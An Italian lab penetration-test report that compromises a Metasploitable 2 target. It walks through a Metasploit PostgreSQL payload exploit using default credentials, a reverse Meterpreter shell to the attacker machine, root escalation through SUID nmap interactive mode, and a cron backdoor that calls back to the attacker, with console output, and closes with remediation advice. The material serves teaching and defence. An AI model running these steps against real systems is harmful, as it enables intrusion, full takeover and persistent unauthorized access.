

RAPPORTO DI VALUTAZIONE DELLA SICUREZZA E TEST DI INTRUSIONE

Valutazione della postura di sicurezza, escalation dei privilegi e analisi della persistenza su ambiente simulato

- **Autore:** Leonardo Onori
- **Versione Documento:** 1.0 (Definitiva)
- **Data di Emissione:** 22 Luglio 2026
- **Classificazione:** Riservato / Uso Didattico e di Laboratorio
- **Standard di Riferimento:** PTES (Penetration Testing Execution Standard), MITRE ATT&CK Framework

1. INTRODUZIONE E FRAMEWORK DI RIFERIMENTO

1.1 Executive Summary

Il presente documento costituisce il rapporto tecnico ufficiale relativo all'attività di **Penetration Testing** condotta in ambiente controllato di laboratorio. L'assessment è stato eseguito in conformità ai principali standard internazionali di sicurezza informatica, tra cui il framework **PTES (Penetration Testing Execution Standard)** per la metodologia operativa e la tassonomia delle minacce del **MITRE ATT&CK** per la classificazione delle tecniche di attacco.

L'obiettivo primario è stato simulare un'operazione di *Red Teaming* condotta da un avversario esterno, al fine di verificare la robustezza dei servizi esposti da un server target (identificato come **Metasploitable 2**, IP: 192.168.50.101) e misurare l'efficacia dei meccanismi di difesa locali.

L'attività ha riprodotto l'intero ciclo di vita di un attacco informatico avanzato (noto come *Cyber Kill Chain*), articolandosi in quattro fasi standardizzate:

1. **Compromissione Iniziale (Initial Access - MITRE T1190):** Sfruttamento di vulnerabilità note in servizi esposti.
2. **Post-Exploitation e Intelligence (Discovery):** Analisi approfondita della configurazione interna del sistema operativo compromesso.
3. **Escalation dei Privilegi (Privilege Escalation - MITRE TA0004):** Passaggio da un profilo utente a basse credenziali ai massimi privilegi di amministrazione di sistema (root).
4. **Persistenza (Persistence - MITRE TA0003):** Installazione di meccanismi di accesso continuativo per la verifica della resilienza a lungo termine.

L'assessment si è concluso con il **pieno raggiungimento degli obiettivi d'attacco**, evidenziando criticità strutturali critiche a livello sistemistico.

1.2 Glossario per Stakeholder non Tecnici

Per garantire la piena conformità ai requisiti di trasparenza e comprensione richiesti dai report di livello enterprise, si definiscono di seguito i concetti chiave utilizzati nel documento:

- **Penetration Test (Pentest):** Una simulazione autorizzata e strutturata di un attacco informatico, condotta secondo standard di settore per identificare le vulnerabilità prima che vengano sfruttate da attori malevoli.
- **Exploit:** Un vettore software o una sequenza logica che sfrutta una specifica vulnerabilità di sicurezza per ottenere un comportamento non autorizzato.
- **Meterpreter / Reverse Shell:** Un payload avanzato che stabilisce un canale di comunicazione crittografato e controllato verso la stazione di lavoro dell'attaccante, consentendo l'amministrazione remota del sistema compromesso.
- **Privilege Escalation (Scalata dei Privilegi):** L'atto di sfruttare errori di configurazione o difetti del kernel per elevare i propri permessi operativi da utente limitato ad amministratore di sistema (root).
- **Permessi SUID (Set Owner User ID):** Un attributo di sicurezza dei sistemi Unix/Linux che permette l'esecuzione temporanea di un programma con i privilegi del proprietario (solitamente root). Se associato a binari legacy, costituisce un vettore critico di escalation.
- **Persistenza (Backdoor):** Meccanismo strutturale volto a mantenere l'accesso continuativo a un sistema compromesso, aggirando i controlli di autenticazione standard anche in seguito a riavvii.

2. ARCHITETTURA DEL LAB E PARAMETRI OPERATIVI

L'esercitazione è stata condotta in un'infrastruttura di rete virtualizzata e rigorosamente isolata, in accordo con le linee guida etiche e di contenimento del rischio (standard di isolamento *Air-Gapped Lab*).

- **Stazione di Lavoro dell'Attaccante (Kali Linux):**
 - Indirizzo IP: 192.168.50.150
 - Ruolo: Esecuzione del framework di attacco, generazione dei payload e ricezione delle sessioni di comando.
- **Sistema Bersaglio (Metasploitable 2):**
 - Indirizzo IP: 192.168.50.101
 - Ruolo: Server vulnerabile ospitante i servizi di database e i vettori di escalation locale.

3. FASE 1: COMPROMISSIONE INIZIALE (EXPLOITATION)

3.1 Analisi del Vettore

Il servizio di database **PostgreSQL** (versione 8.3.1), attivo sulla porta standard 5432 del server bersaglio, presentava configurazioni di default obsolete e difetti logici noti (Allineamento con **OWASP Top 10 - A06:2021 Vulnerable and Outdated Components**). Tale configurazione consente l'esecuzione di codice arbitrario da remoto a fronte di credenziali valide o configurazioni di autenticazione permissive.

3.2 Esecuzione Tecnica

Utilizzando il framework **Metasploit**, standard industriale per l'offensive security, è stato configurato il modulo d'attacco dedicato:

- **Modulo impiegato:** exploit/linux/postgres/postgres_payload
- **Parametri di configurazione:**
 - RHOSTS (Bersaglio): 192.168.50.101
 - LHOST (Attaccante): 192.168.50.150

- USERNAME: postgres
- PASSWORD: postgres

3.3 Risultato ed Evidenze

L'exploit ha trasmesso con successo una libreria dinamica malevola (.so) all'interno del database, sfruttando le funzionalità interne del DBMS per compilarla ed eseguirla nel contesto del sistema operativo sottostante.

- **Output di successo:** Meterpreter session 1 opened
- **Verifica dell'utente (getuid):** L'identità associata alla sessione corrisponde all'utente limitato postgres, confinato alle sole attività di gestione del database e privo di privilegi amministrativi globali.

```
msf exploit(linux/postgres/postgres_payload) > set USERNAME postgres
USERNAME => postgres
msf exploit(linux/postgres/postgres_payload) > set PASSWORD postgres
PASSWORD => postgres
msf exploit(linux/postgres/postgres_payload) > exploit
[*] Started reverse TCP handler on 192.168.50.150:4444
[*] 192.168.50.101:5432 - 192.168.50.101:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] 192.168.50.101:5432 - Uploaded as /tmp/rgVXezwx.so, should be cleaned up automatically
[*] Sending stage (1062760 bytes) to 192.168.50.101
[*] Meterpreter session 1 opened (192.168.50.150:4444 -> 192.168.50.101:60576) at 2026-07-22 11:48:46 -0400

meterpreter > getuid
Server username: postgres
```

Screenshot del terminale di Metasploit che mostra l'apertura della sessione Meterpreter n. 1 e l'esecuzione del comando getuid

4. FASE 2: POST-EXPLOITATION E PRIVILEGE ESCALATION

4.1 Intelligence e Ricerca Vulnerabilità Locali

In accordo con la fase di *Discovery* del framework MITRE ATT&CK, è stata condotta un'analisi della configurazione interna della macchina bersaglio. L'indagine ha evidenziato una grave errata configurazione dei permessi: il programma di scansione di rete **Nmap** (versione legacy 4.53) risultava installato sul sistema con i permessi **SUID** attivi, associati all'utenza amministrativa root.

4.2 Metodologia di Sfruttamento dell'Escalation

1. Dalla sessione Meterpreter attiva, è stata aperta una shell di comando interattiva sul sistema operativo target.
2. Sfruttando il flag SUID associato al binario, è stata avviata l'applicazione in modalità interattiva:
Bash

nmap --interactive
3. Sfruttando una funzionalità di debug nativa di questa specifica versione obsoleta di Nmap, è stato eseguito un comando di escape verso la shell di sistema (!sh). Poiché il processo ereditava i permessi amministrativi del proprietario del file, la nuova shell ha garantito il controllo totale del sistema.

```
meterpreter > shell
Process 5041 created.
Channel 124 created.
nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
whoami
idroot

uid=108(postgres) gid=117(postgres) euid=0(root) groups=114(ssl-cert),117(postgres)
exit
system() execution of command failed
nmap> exit
```

screenshot della shell interattiva di Nmap e del comando !sh

4.3 Risultato ed Evidenze

La validazione dei privilegi tramite i comandi di sistema ha confermato l'avvenuta escalation:

- Comando: whoami / id
- **Risultato:** uid=0(root) gid=0(root) Il sistema operativo è ora interamente sotto il controllo dell'operatore con i massimi privilegi amministrativi.

```
Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
whoami
idroot

uid=108(postgres) gid=117(postgres) euid=0(root) groups=114(ssl-cert),117(postgres)
exit
```

screenshot del comando whoami e id che restituisce l'utente root

5. FASE 3: INSTALLAZIONE DELLA PERSISTENZA (BACKDOOR)

5.1 Strategia di Persistenza

Negli standard di penetration testing strutturati, la dimostrazione della vulnerabilità deve includere la valutazione della resilienza dell'infrastruttura. A tal fine, è stato implementato un meccanismo di accesso continuativo basato sui servizi di schedulazione temporale del sistema operativo (**Cron Job** - MITRE ATT&CK T1053.003).

5.2 Configurazione Tecnica

- **Modulo impiegato:** exploit/multi/persistence/cron
- **Parametri di configurazione:**
 - SESSION: 1
 - LHOST: 192.168.50.150
 - LPORT: 4443

5.3 Risultato ed Evidenze

Il modulo ha inserito con successo un'attività schedulata all'interno del file di configurazione di sistema (crontab) operando con i privilegi di root. Questa attività esegue periodicamente un tentativo di connessione di rete in uscita verso la stazione dell'attaccante sulla porta 4443, garantendo la riconnessione automatica in caso di interruzione della sessione o riavvio del server.

```
meterpreter > background
[*] Backgrounding session 1...
msf exploit(unix/local/setuid_nmap) > use exploit/multi/persistence/cron
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(multi/persistence/cron) > set SESSION 1
SESSION => 1
msf exploit(multi/persistence/cron) > set LHOST 192.168.50.150
LHOST => 192.168.50.150
msf exploit(multi/persistence/cron) > set LPORT 4443
LPORT => 4443
msf exploit(multi/persistence/cron) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.50.150:4443
[*] Running automatic check ("set AutoCheck false" to disable)
msf exploit(multi/persistence/cron) > [+] The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
[*] Utilizing crontab since we can't write to /var/spool/cron/crontabs
[+] Payload will be triggered when cron time is reached
```

screenshot della console di Metasploit che conferma l'avvenuta creazione del cron job e l'ascolto sulla porta 4443

6. CONCLUSIONI E RACCOMANDAZIONI DI SICUREZZA (REMEDIATION)

L'assessment ha dimostrato come una debolezza iniziale (servizio di database esposto e debolmente protetto) possa fungere da vettore primario per la compromissione totale dell'infrastruttura, agevolata da difetti sistemistici secondari (permessi SUID errati).

In conformità agli standard internazionali di gestione del rischio (es. **ISO/IEC 27001** e linee guida **NIST SP 800-53**), si raccomanda l'adozione immediata delle seguenti contromisure tecniche:

1. **Hardening dei Servizi di Rete:** Limitare l'ascolto dei database alle sole interfacce locali (localhost) ove non richiesto diversamente, implementando policy di autenticazione robuste e disabilitando l'esecuzione di estensioni non autorizzate.
2. **Revisione e Minimizzazione dei Permessi SUID:** Introdurre audit automatici periodici per la rilevazione e la rimozione di flag SUID non necessari su binari di terze parti o strumenti di utilità di rete.
3. **Monitoraggio e Rilevamento delle Minacce (SIEM / HIDS):** Implementare sistemi di controllo dell'integrità dei file (FIM) e monitoraggio comportamentale per intercettare tempestivamente alterazioni non autorizzate dei task di schedulazione di sistema.